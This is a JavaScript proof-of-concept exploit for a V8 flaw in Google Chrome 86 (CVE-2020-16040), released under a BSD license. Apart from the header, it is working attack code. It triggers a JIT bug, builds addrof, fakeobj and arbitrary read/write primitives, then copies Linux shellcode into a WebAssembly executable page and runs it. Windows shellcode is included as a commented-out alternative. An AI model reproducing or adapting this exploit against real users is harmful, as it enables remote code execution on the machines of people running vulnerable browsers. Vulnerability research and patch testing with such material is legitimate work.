Google Chrome 86.0.4240 V8 Remote Code Execution

`/*  
BSD 2-Clause License  
  
Copyright (c) 2021, rajvardhan agarwal  
All rights reserved.  
  
Redistribution and use in source and binary forms, with or without  
modification, are permitted provided that the following conditions are met:  
  
1. Redistributions of source code must retain the above copyright notice, this  
list of conditions and the following disclaimer.  
  
2. Redistributions in binary form must reproduce the above copyright notice,  
this list of conditions and the following disclaimer in the documentation  
and/or other materials provided with the distribution.  
  
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"  
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE  
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE  
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE  
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL  
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR  
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER  
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,  
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE  
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  
*/  
  
// Reference: https://faraz.faith/2021-01-07-cve-2020-16040-analysis/  
  
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])  
var wasm_mod = new WebAssembly.Module(wasm_code);  
var wasm_instance = new WebAssembly.Instance(wasm_mod);  
var f = wasm_instance.exports.main;  
  
var buf = new ArrayBuffer(8);  
var f64_buf = new Float64Array(buf);  
var u64_buf = new Uint32Array(buf);  
let buf2 = new ArrayBuffer(0x150);  
  
function ftoi(val) {  
f64_buf[0] = val;  
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);  
}  
  
function itof(val) {  
u64_buf[0] = Number(val & 0xffffffffn);  
u64_buf[1] = Number(val >> 32n);  
return f64_buf[0];  
}  
  
function foo(a) {  
var y = 0x7fffffff;  
  
if (a == NaN) y = NaN;  
if (a) y = -1;  
  
let z = y + 1;  
z >>= 31;  
z = 0x80000000 - Math.sign(z|1);  
  
if(a) z = 0;  
  
var arr = new Array(0-Math.sign(z));  
arr.shift();  
var cor = [1.1, 1.2, 1.3];  
  
return [arr, cor];  
}  
  
for(var i=0;i<0x3000;++i)  
foo(true);  
  
var x = foo(false);  
var arr = x[0];  
var cor = x[1];  
  
const idx = 6;  
arr[idx+10] = 0x4242;  
  
function addrof(k) {  
arr[idx+1] = k;  
return ftoi(cor[0]) & 0xffffffffn;  
}  
  
function fakeobj(k) {  
cor[0] = itof(k);  
return arr[idx+1];  
}  
  
var float_array_map = ftoi(cor[3]);  
  
var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];  
var fake = fakeobj(addrof(arr2) + 0x20n);  
  
function arbread(addr) {  
if (addr % 2n == 0) {  
addr += 1n;  
}  
arr2[1] = itof((2n << 32n) + addr - 8n);  
return (fake[0]);  
}  
  
function arbwrite(addr, val) {  
if (addr % 2n == 0) {  
addr += 1n;  
}  
arr2[1] = itof((2n << 32n) + addr - 8n);  
fake[0] = itof(BigInt(val));  
}  
  
function copy_shellcode(addr, shellcode) {  
let dataview = new DataView(buf2);  
let buf_addr = addrof(buf2);  
let backing_store_addr = buf_addr + 0x14n;  
arbwrite(backing_store_addr, addr);  
  
for (let i = 0; i < shellcode.length; i++) {  
dataview.setUint32(4*i, shellcode[i], true);  
}  
}  
  
var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));  
console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16));  
var shellcode = [16889928,16843009,1213202689,1652108984,23227744,70338561,800606244,796029813,1349413218,1760004424,16855099,19149953,1208025345,1397310648,1497451600,3526447165,1510500946,1390543176,1222805832,16843192,16843009,3091746817,1617066286,16867949,604254536,1966061640,1647276659,827354729,141186806,3858843742,3867756630,257440618,2425393157];  
/*var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957]; */ // windows shellcode  
copy_shellcode(rwx_page_addr, shellcode);  
f();  
  
`